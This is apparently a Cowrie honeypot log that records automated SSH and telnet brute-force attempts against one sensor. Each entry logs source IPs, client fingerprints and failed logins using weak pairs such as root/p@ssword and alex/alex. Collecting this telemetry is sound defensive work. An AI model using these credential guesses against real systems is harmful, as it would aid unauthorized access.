{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:33:02.962052Z","src_ip":"176.65.139.95","session":"9c551ed67207","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:33:03.030983Z","src_ip":"176.65.139.95","session":"9c551ed67207","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"alex","password":"alex","message":"login attempt [alex/alex] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:33:03.717343Z","src_ip":"176.65.139.95","session":"9c551ed67207","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:33:04.807556Z","src_ip":"176.65.139.95","session":"9c551ed67207","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00429773330688,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:33:08.400241Z","src_ip":"103.59.178.227","session":"d98e3ea2b101","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":33222,"dst_ip":"159.203.135.109","dst_port":22,"session":"e288b9160fdb","protocol":"ssh","message":"New connection: 176.65.139.95:33222 (159.203.135.109:22) [session: e288b9160fdb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:33:09.412683Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:33:09.417210Z","src_ip":"176.65.139.95","session":"e288b9160fdb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:33:09.522920Z","src_ip":"176.65.139.95","session":"e288b9160fdb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"master","password":"master","message":"login attempt [master/master] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:33:10.132275Z","src_ip":"176.65.139.95","session":"e288b9160fdb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:33:11.216842Z","src_ip":"176.65.139.95","session":"e288b9160fdb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.186.211.57","src_port":37196,"dst_ip":"10.17.0.5","dst_port":23,"session":"fcb7c3551302","protocol":"telnet","message":"New connection: 45.186.211.57:37196 (10.17.0.5:23) [session: fcb7c3551302]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:33:13.143173Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":33234,"dst_ip":"159.203.135.109","dst_port":22,"session":"827779d0db61","protocol":"ssh","message":"New connection: 176.65.139.95:33234 (159.203.135.109:22) [session: 827779d0db61]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:33:16.418667Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:33:16.422448Z","src_ip":"176.65.139.95","session":"827779d0db61","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:33:16.503844Z","src_ip":"176.65.139.95","session":"827779d0db61","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hduser","password":"hduser","message":"login attempt [hduser/hduser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:33:16.750953Z","src_ip":"176.65.139.95","session":"827779d0db61","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:33:17.837624Z","src_ip":"176.65.139.95","session":"827779d0db61","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.59.178.227","src_port":51202,"dst_ip":"10.17.0.5","dst_port":23,"session":"a0eaf4230b60","protocol":"telnet","message":"New connection: 103.59.178.227:51202 (10.17.0.5:23) [session: a0eaf4230b60]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:33:20.839354Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":37990,"dst_ip":"159.203.135.109","dst_port":22,"session":"9eb95b868499","protocol":"ssh","message":"New connection: 176.65.139.95:37990 (159.203.135.109:22) [session: 9eb95b868499]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:33:22.920922Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:33:22.930407Z","src_ip":"176.65.139.95","session":"9eb95b868499","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:33:23.027088Z","src_ip":"176.65.139.95","session":"9eb95b868499","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"angel","password":"angel","message":"login attempt [angel/angel] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:33:23.390995Z","src_ip":"176.65.139.95","session":"9eb95b868499","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.32.85.4","src_port":50104,"dst_ip":"159.203.135.109","dst_port":23,"session":"5fdc35973ee1","protocol":"telnet","message":"New connection: 152.32.85.4:50104 (159.203.135.109:23) [session: 5fdc35973ee1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:33:23.964619Z"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:33:24.653647Z","src_ip":"176.65.139.95","session":"9eb95b868499","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":13.233250379562378,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:33:26.376329Z","src_ip":"45.186.211.57","session":"fcb7c3551302","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":37176,"dst_ip":"159.203.135.109","dst_port":22,"session":"38ae70e0ee77","protocol":"ssh","message":"New connection: 176.65.139.95:37176 (159.203.135.109:22) [session: 38ae70e0ee77]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:33:29.406891Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:33:29.423034Z","src_ip":"176.65.139.95","session":"38ae70e0ee77","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:33:29.533074Z","src_ip":"176.65.139.95","session":"38ae70e0ee77","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"p@ssword","message":"login attempt [root/p@ssword] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:33:29.967357Z","src_ip":"176.65.139.95","session":"38ae70e0ee77","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:33:31.065788Z","src_ip":"176.65.139.95","session":"38ae70e0ee77","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":43564,"dst_ip":"159.203.135.109","dst_port":22,"session":"6dd790012ad9","protocol":"ssh","message":"New connection: 159.203.92.129:43564 (159.203.135.109:22) [session: 6dd790012ad9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:33:33.326964Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:33:33.332094Z","src_ip":"159.203.92.129","session":"6dd790012ad9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:33:33.337380Z","src_ip":"159.203.92.129","session":"6dd790012ad9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"Houjian","password":"123","message":"login attempt [Houjian/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:33:33.367895Z","src_ip":"159.203.92.129","session":"6dd790012ad9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:33:34.375862Z","src_ip":"159.203.92.129","session":"6dd790012ad9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":37192,"dst_ip":"159.203.135.109","dst_port":22,"session":"4d48a9b94880","protocol":"ssh","message":"New connection: 176.65.139.95:37192 (159.203.135.109:22) [session: 4d48a9b94880]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:33:35.958750Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:33:35.963655Z","src_ip":"176.65.139.95","session":"4d48a9b94880","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":12.198607683181763,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:33:36.163129Z","src_ip":"152.32.85.4","session":"5fdc35973ee1","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:33:36.175263Z","src_ip":"176.65.139.95","session":"4d48a9b94880","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"zlm","password":"123456","message":"login attempt [zlm/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:33:36.695168Z","src_ip":"176.65.139.95","session":"4d48a9b94880","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:33:37.788549Z","src_ip":"176.65.139.95","session":"4d48a9b94880","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":47756,"dst_ip":"159.203.135.109","dst_port":22,"session":"5799065fa569","protocol":"ssh","message":"New connection: 176.65.139.95:47756 (159.203.135.109:22) [session: 5799065fa569]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:33:43.045548Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:33:43.050195Z","src_ip":"176.65.139.95","session":"5799065fa569","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:33:43.138888Z","src_ip":"176.65.139.95","session":"5799065fa569","protocol":"ssh"}
